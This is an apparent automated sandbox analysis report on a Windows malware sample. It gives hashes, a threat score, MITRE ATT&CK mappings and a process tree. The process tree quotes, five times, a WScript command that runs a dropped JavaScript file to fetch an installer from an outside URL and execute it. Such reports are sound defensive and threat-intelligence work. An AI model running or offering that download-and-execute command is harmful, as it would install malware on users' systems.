21725ddd2fb136dbab48fd2e34416baef96101c11394b4498f3aa53f96a06029

Analysis

max time kernel
132s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
11-05-2024 12:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe
Size

184KB
MD5

347fabf6e4c6acaed907399cc17718ef
SHA1

8f678552dddda116534b01c9fb615b37c47f00df
SHA256

21725ddd2fb136dbab48fd2e34416baef96101c11394b4498f3aa53f96a06029
SHA512

ce3701a7680ad70bb413c31dbfae36a1a210cd58e8053b032b224c04e93b9c782f0581c1eb5b201ad1b2de4bfe9f06d110b2c969b62be46cfc3cb0ed890c9048
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3C:/7BSH8zUB+nGESaaRvoB7FJNndnX

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow pid process

5 1412 WScript.exe
36 4916 WScript.exe
39 3928 WScript.exe
54 2728 WScript.exe
57 3096 WScript.exe

flow	pid	process
5	1412	WScript.exe
36	4916	WScript.exe
39	3928	WScript.exe
54	2728	WScript.exe
57	3096	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

Processes:

347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe

description	pid	process	target process
PID 4988 wrote to memory of 1412	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 1412	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 1412	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 4916	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 4916	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 4916	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 3928	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 3928	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 3928	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 2728	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 2728	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 2728	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 3096	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 3096	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe
PID 4988 wrote to memory of 3096	4988	347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\347fabf6e4c6acaed907399cc17718ef_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4988

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
2⤵
- Blocklisted process makes network request
PID:1412

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
2⤵
- Blocklisted process makes network request
PID:4916

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
2⤵
- Blocklisted process makes network request
PID:3928

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
2⤵
- Blocklisted process makes network request
PID:2728

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3CAB.exe
2⤵
- Blocklisted process makes network request
PID:3096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3CAB.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit